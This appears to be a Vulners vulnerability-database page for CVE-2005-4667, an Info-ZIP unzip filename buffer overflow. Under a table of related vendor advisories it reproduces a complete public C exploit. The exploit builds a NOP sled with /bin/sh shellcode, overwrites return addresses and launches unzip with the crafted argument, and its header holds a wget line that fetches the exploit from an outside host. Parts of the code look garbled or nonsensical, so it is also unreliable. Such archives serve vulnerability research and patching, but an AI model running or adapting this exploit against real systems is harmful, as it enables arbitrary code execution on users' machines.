Info-ZIP UnZip 5.x - File Name Buffer Overflow
| Reporter | Title | Published | Views | Family All 30 |
|---|---|---|---|---|
| CentOS 4 : unzip (CESA-2007:0203) | 29 Jun 201300:00 | – | nessus | |
| Debian DSA-1012-1 : unzip - buffer overflow | 14 Oct 200600:00 | – | nessus | |
| Fedora Core 4 : unzip-5.51-13.fc4 (2006-098) | 10 Feb 200600:00 | – | nessus | |
| Mandrake Linux Security Advisory : unzip (MDKSA-2006:050) | 6 Mar 200600:00 | – | nessus | |
| Oracle Linux 4 : unzip (ELSA-2007-0203) | 12 Jul 201300:00 | – | nessus | |
| RHEL 4 : unzip (RHSA-2007:0203) | 2 May 200700:00 | – | nessus | |
| Scientific Linux Security Update : unzip on SL4.x i386/x86_64 | 1 Aug 201200:00 | – | nessus | |
| Ubuntu 4.10 / 5.04 / 5.10 : unzip vulnerability (USN-248-1) | 13 Mar 200600:00 | – | nessus | |
| unzip security update | 2 May 200708:59 | – | centos | |
| CVE-2005-4667 | 25 Jan 200621:00 | – | cve |
10
// source: https://www.securityfocus.com/bid/15968/info
Info-ZIP 'unzip' is susceptible to a filename buffer-overflow vulnerability. The application fails to properly bounds-check user-supplied data before copying it into an insufficiently sized memory buffer.
This issue allows attackers to execute arbitrary machine code in the context of users running the affected application.
/*
By DVDMAN ([email protected])[email protected]
http://www.snosoft.com
http://WWW.L33TSECURITY.COM
L33T SECURITY
Keep It Private
based on code by hackbox.ath.cx
> wget http://hackbox.ath.cx/mizc/unzip-expl.c
lame unzip <= 5.50
tested on redhat 7.2
By DVDMAN
L33TSECURITY.COM
*/
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#define MAX "\x39\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30"
#define BUF 3264+1900+20000
#define LOC 3262
#define OFFSET 700 // brute force it
char fakechunk[] = "\xf0\xff\xff\xff"
"\xfc\xff\xff\xff"
"\xde\x16\xe8\x77"
"\x42\x6c\xe8\x77";
char execshell[] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f"
"\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89"
"\xc2\xb0\x0b\xcd\x80\x89\xc3\x31\xc0\x40"
"\xcd\x80"; /* newroot's shellcode */
int
main (int argc, char *argv[])
{
char buf[BUF + 1];
int x;
char *ptr;
int i=0,offset=OFFSET;
unsigned long addy = 0xbffffab0;
if (argc < 2) {
printf("[L33TSECURITY]");
printf("UNZIP EXPLOIT BY DVDMAN ");
printf("[L33TSECURITY]\n");
printf("[Usage] %s Offset\n",argv[0]);
return;
}
if (argc > 1) offset = atoi(argv[1]);
memset(buf,0x90,BUF);
ptr = buf + ((BUF) - strlen(execshell));
for (i=0;i<strlen(execshell);i++)
*(ptr++) = execshell[i];
*(long*)&buf[LOC] = addy + offset;
*(long*)&buf[LOC+4] = addy + offset;
buf[BUF] = 0;
if (buf < MAX) {
x = atoi(fakechunk + 2);
memset(buf,x,BUF);
execl("/usr/bin/unzip","unzip",buf,NULL);
}
execl("/usr/bin/unzip","unzip",buf,fakechunk,NULL);
return;
}Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
17 Jul 2013 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 23.7
EPSS0.01516